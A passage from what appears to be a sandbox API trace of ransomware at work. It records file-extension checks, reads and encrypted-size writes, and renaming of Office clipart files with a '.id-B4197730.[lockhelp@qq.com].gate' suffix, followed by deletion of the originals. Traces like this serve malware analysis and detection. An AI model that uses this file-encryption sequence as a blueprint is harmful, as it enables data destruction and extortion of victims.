(lpString=".ppt") returned 4 [0300.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0300.661] lstrlenW (lpString=".zip") returned 4 [0300.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.661] lstrlenW (lpString=".rar") returned 4 [0300.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.661] lstrlenW (lpString=".bz2") returned 4 [0300.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.661] lstrlenW (lpString=".7z") returned 3 [0300.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0300.661] lstrlenW (lpString=".dbf") returned 4 [0300.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0300.661] lstrlenW (lpString=".1cd") returned 4 [0300.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0300.661] lstrlenW (lpString=".jpg") returned 4 [0300.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.662] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=5392) returned 1 [0300.662] CloseHandle (hObject=0x4c4) returned 1 [0300.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220 [0300.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0300.662] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.662] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0300.663] GetLastError () returned 0x0 [0300.663] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1510, lpOverlapped=0x0) returned 1 [0301.026] WriteFile (in: hFile=0x4f8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1520, lpOverlapped=0x0) returned 1 [0301.027] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.027] WriteFile (in: hFile=0x4f8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.027] SetEndOfFile (hFile=0x4f8) returned 1 [0301.027] CloseHandle (hObject=0x4f8) returned 1 [0301.028] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.028] SetEndOfFile (hFile=0x4c4) returned 1 [0301.067] CloseHandle (hObject=0x4c4) returned 1 [0301.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0301.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0301.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0301.373] lstrlenW (lpString=".doc") returned 4 [0301.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.373] lstrlenW (lpString=".docx") returned 5 [0301.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.373] lstrlenW (lpString=".pdf") returned 4 [0301.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.373] lstrlenW (lpString=".xls") returned 4 [0301.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.373] lstrlenW (lpString=".xlsx") returned 5 [0301.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.373] lstrlenW (lpString=".ppt") returned 4 [0301.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0301.373] lstrlenW (lpString=".zip") returned 4 [0301.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.373] lstrlenW (lpString=".rar") returned 4 [0301.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.373] lstrlenW (lpString=".bz2") returned 4 [0301.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.373] lstrlenW (lpString=".7z") returned 3 [0301.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0301.373] lstrlenW (lpString=".dbf") returned 4 [0301.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0301.373] lstrlenW (lpString=".1cd") returned 4 [0301.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0301.373] lstrlenW (lpString=".jpg") returned 4 [0301.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.374] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3286) returned 1 [0301.374] CloseHandle (hObject=0x4c0) returned 1 [0301.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0301.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0301.375] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.375] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0301.376] GetLastError () returned 0x0 [0301.376] ReadFile (in: hFile=0x4c0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xcd6, lpOverlapped=0x0) returned 1 [0301.469] WriteFile (in: hFile=0x528, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xce0, lpOverlapped=0x0) returned 1 [0301.470] ReadFile (in: hFile=0x4c0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.470] WriteFile (in: hFile=0x528, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.470] SetEndOfFile (hFile=0x528) returned 1 [0301.470] CloseHandle (hObject=0x528) returned 1 [0301.471] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.471] SetEndOfFile (hFile=0x4c0) returned 1 [0301.473] CloseHandle (hObject=0x4c0) returned 1 [0301.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0301.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0301.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0301.497] lstrlenW (lpString=".doc") returned 4 [0301.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.497] lstrlenW (lpString=".docx") returned 5 [0301.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.497] lstrlenW (lpString=".pdf") returned 4 [0301.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.497] lstrlenW (lpString=".xls") returned 4 [0301.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.497] lstrlenW (lpString=".xlsx") returned 5 [0301.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.497] lstrlenW (lpString=".ppt") returned 4 [0301.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0301.497] lstrlenW (lpString=".zip") returned 4 [0301.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.497] lstrlenW (lpString=".rar") returned 4 [0301.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.497] lstrlenW (lpString=".bz2") returned 4 [0301.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.497] lstrlenW (lpString=".7z") returned 3 [0301.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0301.497] lstrlenW (lpString=".dbf") returned 4 [0301.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0301.497] lstrlenW (lpString=".1cd") returned 4 [0301.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0301.497] lstrlenW (lpString=".jpg") returned 4 [0301.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.594] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3662) returned 1 [0301.594] CloseHandle (hObject=0x52c) returned 1 [0301.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0301.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0301.671] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.671] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0301.699] GetLastError () returned 0x0 [0301.699] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xe4e, lpOverlapped=0x0) returned 1 [0301.725] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xe50, lpOverlapped=0x0) returned 1 [0301.726] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.726] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.726] SetEndOfFile (hFile=0x52c) returned 1 [0301.727] CloseHandle (hObject=0x52c) returned 1 [0301.727] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.727] SetEndOfFile (hFile=0x404) returned 1 [0301.734] CloseHandle (hObject=0x404) returned 1 [0301.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0301.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0301.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0301.774] lstrlenW (lpString=".doc") returned 4 [0301.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.774] lstrlenW (lpString=".docx") returned 5 [0301.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.774] lstrlenW (lpString=".pdf") returned 4 [0301.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.774] lstrlenW (lpString=".xls") returned 4 [0301.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.774] lstrlenW (lpString=".xlsx") returned 5 [0301.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.774] lstrlenW (lpString=".ppt") returned 4 [0301.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0301.774] lstrlenW (lpString=".zip") returned 4 [0301.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.774] lstrlenW (lpString=".rar") returned 4 [0301.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.775] lstrlenW (lpString=".bz2") returned 4 [0301.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.775] lstrlenW (lpString=".7z") returned 3 [0301.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0301.775] lstrlenW (lpString=".dbf") returned 4 [0301.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0301.775] lstrlenW (lpString=".1cd") returned 4 [0301.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0301.775] lstrlenW (lpString=".jpg") returned 4 [0301.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.776] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=13538) returned 1 [0301.776] CloseHandle (hObject=0x528) returned 1 [0301.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220 [0301.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0301.776] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.776] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0301.777] GetLastError () returned 0x0 [0301.777] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x34e2, lpOverlapped=0x0) returned 1 [0301.818] WriteFile (in: hFile=0x554, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x34f0, lpOverlapped=0x0) returned 1 [0301.819] ReadFile (in: hFile=0x528, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.819] WriteFile (in: hFile=0x554, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.819] SetEndOfFile (hFile=0x554) returned 1 [0301.823] CloseHandle (hObject=0x554) returned 1 [0301.823] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.823] SetEndOfFile (hFile=0x528) returned 1 [0301.828] CloseHandle (hObject=0x528) returned 1 [0301.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0301.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0301.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0301.830] lstrlenW (lpString=".doc") returned 4 [0301.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.831] lstrlenW (lpString=".docx") returned 5 [0301.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.831] lstrlenW (lpString=".pdf") returned 4 [0301.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.831] lstrlenW (lpString=".xls") returned 4 [0301.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.831] lstrlenW (lpString=".xlsx") returned 5 [0301.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.831] lstrlenW (lpString=".ppt") returned 4 [0301.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0301.831] lstrlenW (lpString=".zip") returned 4 [0301.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.831] lstrlenW (lpString=".rar") returned 4 [0301.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.831] lstrlenW (lpString=".bz2") returned 4 [0301.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.831] lstrlenW (lpString=".7z") returned 3 [0301.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0301.831] lstrlenW (lpString=".dbf") returned 4 [0301.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0301.831] lstrlenW (lpString=".1cd") returned 4 [0301.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0301.831] lstrlenW (lpString=".jpg") returned 4 [0301.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.832] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=5798) returned 1 [0301.832] CloseHandle (hObject=0x528) returned 1 [0301.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220 [0301.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0301.833] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.833] SetFilePointerEx (in: hFile=0x528, 